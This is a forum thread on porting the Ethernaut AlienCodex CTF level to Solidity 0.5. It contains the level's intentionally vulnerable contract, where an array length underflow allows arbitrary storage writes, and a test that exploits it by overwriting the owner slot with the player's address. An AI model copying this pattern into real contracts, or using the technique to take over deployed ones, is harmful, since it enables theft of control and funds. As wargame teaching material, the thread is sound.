Ethernaut AlienCodex with Solidity 0.5

Hi @paulinablaszk

@ylv-io community solution is: https://ylv.io/ethernaut-alien-codex-solution/
Using this, there are two parts to AlienCodex.

I assume the first part can no longer be completed in Solidity 0.5 due to The ABI decoder reverts in the beginning of functions if passed calldata is too short or points out of bounds

The second part should still work.

I have simplified the make_contact function (though there may be better options) and the remaining level passes the tests below.

AlienCodex.sol

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/ownership/Ownable.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }

  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
  	codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

AlienCodex.test.js

const AlienCodex = artifacts.require('./levels/AlienCodex.sol')
const AlienCodexFactory = artifacts.require('./levels/AlienCodexFactory.sol')

const Ethernaut = artifacts.require('./Ethernaut.sol')
import * as utils from '../utils/TestUtils'


contract('AlienCodex', function(accounts) {

  let ethernaut
  let level
  let instance
  let owner = accounts[1]
  let player = accounts[0]

  before(async function() {
    ethernaut = await Ethernaut.new();
    level = await AlienCodexFactory.new()
    await ethernaut.registerLevel(level.address)
    instance = await utils.createLevelInstance(
      ethernaut, level.address, player, AlienCodex,
      {from: player}
    )
  });

  describe('instance', function() {

    it('should not be immediately solvable', async function() {
      // Player is not owner yet
      assert.notEqual(player, owner);

      // Player hasn't made first contact yet
      let status = await instance.contact.call();
      assert.isFalse(status);
    });

    it('should allow the user to join AlienCodex', async function() {
      
      await instance.make_contact();
      
      // Player should have successfully made first contact
      let status = await instance.contact.call();
      assert.isTrue(status);
    });

    it('codex array should underflow, giving user all storage access to become owner', async function() {
      
      await instance.retract();

      const owner_loc = '0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a'; // location of owner ptr, offset by array's frame of reference
      const padding = '0x000000000000000000000000';
      let _data = padding + player.substr(2);

      await instance.revise(owner_loc, _data, {from:player});

      // Player should own the instance now
      let ownr = await instance.owner();
      assert.equal(ownr, player);
    });
  });
});
3 Likes

It’s great we can save this level :slight_smile: Thank you for the effort you’ve put into the work on Ethernaut museum levels! I will push it on GitHub

1 Like

Thanks @paulinablaszk for all your hard work in upgrading Ethernaut to Solidity 0.5.x.

I am very excited to see this in action. I believe that all the contracts are now upgraded with the tests passing.

1 Like